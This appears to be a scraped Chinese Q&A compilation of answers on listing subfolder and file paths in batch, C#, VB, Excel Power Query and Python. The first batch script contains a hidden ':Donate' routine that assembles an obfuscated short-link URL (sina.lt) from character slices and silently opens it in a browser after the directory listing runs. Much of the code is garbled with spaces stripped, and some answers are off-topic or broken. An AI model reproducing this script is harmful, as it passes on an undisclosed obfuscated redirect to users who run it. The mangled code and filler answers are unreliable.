❶ 求批處理 獲取當前目錄下所有子目錄路徑,就是所有文件夾路徑
@echooff&title獲取當前目錄中所有子文件夾目錄路徑By依夢琴瑤內
cd/d%~dp0
echo正在列取中。。。
(for/f"delims="%%ain('dir/ad/s/b')doecho%%~a)>子目容錄路徑列表.txt
pause
call:Donate
exit
:Donate
::setS0=fGRH
setS0=fPdv
setS1=.:ailnhpst/
setS2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%
setS3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%
start"""%S2%%S3%%S1:~10,1%%S0%"
exit
獲取到的路徑信息,保存到腳本所在目錄下的「子目錄路徑列表.txt」中
❷ c#如何讀取給定路徑下的所有文件,注意該路徑下也許有子文件夾,子文件夾里有文件, 最終獲取所有的文件名
//3.---------遍歷文件夾中的文件和子文件夾並顯示其屬性---------
if(Directory.Exists(Server.MapPath("a")))
{
//所有子文件夾
foreach(string item in Directory.GetDirectories(Server.MapPath("a")))
{
Response.Write("<b>文件夾:" + item + "</b><br/>");
DirectoryInfo directoryinfo = new DirectoryInfo(item);
Response.Write("名稱:" + directoryinfo.Name + "<br/>");
Response.Write("路徑:" + directoryinfo.FullName + "<br/>");
Response.Write("創建時間:" + directoryinfo.CreationTime + "<br/>");
Response.Write("上次訪問時間:" + directoryinfo.LastAccessTime + "<br/>");
Response.Write("上次修改時間:" + directoryinfo.LastWriteTime + "<br/>");
Response.Write("父文件夾:" + directoryinfo.Parent + "<br/>");
Response.Write("所在根目錄:" + directoryinfo.Root + "<br/>");
Response.Write("<br/>");
}
//所有子文件
foreach (string item in Directory.GetFiles(Server.MapPath("a")))
{
Response.Write("<b>文件:" + item + "</b><br/>");
FileInfo fileinfo = new FileInfo(item);
Response.Write("名稱:" + fileinfo.Name + "<br/>");
Response.Write("擴展名:" + fileinfo.Extension +"<br/>");
Response.Write("路徑:" + fileinfo.FullName +"<br/>");
Response.Write("大小:" + fileinfo.Length +"<br/>");
Response.Write("創建時間:" + fileinfo.CreationTime +"<br/>");
Response.Write("上次訪問時間:" + fileinfo.LastAccessTime +"<br/>");
Response.Write("上次修改時間:" + fileinfo.LastWriteTime +"<br/>");
Response.Write("所在文件夾:" + fileinfo.DirectoryName +"<br/>");
Response.Write("文件屬性:" + fileinfo.Attributes +"<br/>");
Response.Write("<br/>");
}
}
❸ C# 怎麼獲取一個文件夾內的所有子文件夾(包含子文件夾內的所有子文件夾)。
public string GetAllTxtValues(string txtName)
{
//這是路徑:@"./TestText/"
//這是文件夾名稱: txtName
string[] str = File.ReadAllLines(@"./TestText/" + txtName);
string value = null;
for (int i = 0; i < str.Length; i++)
{
value += str[i].ToString() + "\n";
}
return value; //返回的是文件名稱 (文件名1+文件名2+文件名3 )
}
//如果你要得到所有文件名
string[] splitNew = value.Split(' '); //以空格截取出來
for(int i=0;i<splitNew .length;i++){
string name = splitNew[i].tostring(); //這得到文件名稱
}
❹ VB問題: 想做一個「獲取指定目錄下所有文件夾名稱和路徑」(包含子目錄)的功能
要想獲得目錄下所有文件名,得先得到一個所有文件的集合,可以用fso搞定。
引用 mircosoft scripting runtime,然後:
Dim fs As New FileSystemObject '定義fso對象和文件夾、文件對象
Dim fd As Folder
Dim fl As File
Set fd = fs.GetFolder("D:\_sys\") '創建文件夾對象
For Each fl In fd.Files '文件夾對象的Files屬性是一個集合,包括目錄下的所有文件對象
Print fl.Path & fl.Name '枚舉每個文件,然後輸出
Next
這只是一個文件夾,文件夾對象還有個屬性,SubFolders,也是一個集合,代表目錄下的所有子文件夾,可以參照上面的方法枚舉。但是只有1級子文件夾,要遍歷所有的話可以用遞歸的方式,LZ可以自己試試O(∩_∩)O
❺ C# 獲取路徑中的子目錄
DirectoryInfo di = new DirectoryInfo(路徑);//初始化制定路徑
DirectoryInfo[] dirs = di.GetDirectories();//取得路徑數組
for (int i = 0; i < dirs.Length; i++)
{
comboBox1.Items.Add(dirs[i].Name);
}
using system.Io;//命名空間
❻ VB怎樣快速獲取當前文件夾下的所有文件的路徑(包括子目錄)
有兩種方法:
1、使用DIR遞歸,不過這是微軟明確不推薦的
2、最快但不太正規的
使用 Shell "cmd /k dir c:\windows /s/b/a >>d:\jg.txt"
c:\windows 目標文件夾,當前文件夾為 app.path,你可以根據要求生成命令字元串
d:\jg.txt 為臨時文件
執行這行後再讀取臨時文件即可。極快!
❼ Excel怎樣批量提取文件夾和子文件夾所有文件
主要的方法有:
一、編程的方法,如Excel自帶的VBA,以及其他編程方法,如Python
二、Excel自帶的Power Qurey數據處理工具,Excel2010以上版本支持,但2010和2013要另外下載安裝,而2016以上版本安裝後就已默認安裝。
新建一個Excel工作簿,在工作簿的工作表中,數據菜單——獲取和轉換數據——獲取數據——來自文件——從文件夾,瀏覽到要提到文件名的文件夾,打開。就會把文件夾(包括子文件夾)下的所有文件導入到一個預覽對話框中,對話框中已可預覽到每個文件的文件名及各種文件屬性,如創建時間、完整路徑等。在此對話框中,選擇「轉換數據」(Excel版本不同,對話框稍有不同,但大同小異),進入到Power Qurey界面,在PQ界面工作界面中,刪除不需要的列,如果文件名不需要擴展名,就對文件名以小數點為分隔符拆分,再刪除擴展名列。反正你想怎麼整就怎麼整。整好後,從PQ的文件菜單中選擇關閉並上載到,上載到目錄工作表中。
以後文件夾內文件有增減變化,或文件名有修改,只要在工作表中右擊,選擇「刷新」即可得到更新。
Power Qurey的方法簡單快捷,基本上就點幾下滑鼠。不需要去這編程語言。按上面說的步驟一步步去操作,任何只要對Windows資源管理器有些了解,對Excel有基本了解的人都能完成。
三、DOS時代的方法,度友「二性北B」有介紹。
❽ dir命令,如何提取目錄下的所有文件夾名稱(文件夾內還有文件夾),包括路徑
1、首先,在 DOS 環境下,如果想查看 dir 命令的用法,可以鍵入命令 dir /?。
注意事項:
dir廣泛應用於多媒體光碟、教學/匯報課件、觸摸屏軟體、網路電影、網路互動式多媒體查詢系統、企業多媒體形象展示、游戲和屏幕保護等的開發製作。並非DOS命令和系統文件。
❾ python 如何獲取一個文件夾內包括子文件夾所有文件的名字和路徑
importos
forroot,dirs,filesinos.walk('e:\case'):
forfilespathinfiles:
print(os.path.join(root,filespath))
❿ C#讀取所有子文件夾的路徑(子文件夾必須讀到最底層的文件夾,該文件夾下就不會再有文件夾了)
///<summary>
///查找指定目錄下的所有末級子目錄
///</summary>
///<paramname="dir">要查找的目錄</param>
///<paramname="list">查找結果列表</param>
///<paramname="system">是否包含系統目錄</param>
///<paramname="hidden">是否包含隱藏目錄</param>
staticvoidGetEndDirectories(DirectoryInfodir,List<DirectoryInfo>list,boolsystem=false,boolhidden=false)
{
DirectoryInfo[]sub=dir.GetDirectories();
if(sub.Length==0)
{//沒有子目錄了
list.Add(dir);
return;
}
foreach(DirectoryInfosubDirinsub)
{
//跳過系統目錄
if(!system&&(subDir.Attributes&FileAttributes.System)==FileAttributes.System)
continue;
//跳過隱藏目錄
if(!hidden&&(subDir.Attributes&FileAttributes.Hidden)==FileAttributes.Hidden)
continue;
GetEndDirectories(subDir,list);
}
}
調用方法:
List<DirectoryInfo>list=newList<DirectoryInfo>();
DirectoryInfodir=newDirectoryInfo(@"D:Document");
GetEndDirectories(dir,list);
//輸出所有目錄
foreach(DirectoryInfodiinlist)
{
Console.WriteLine(di.FullName);
}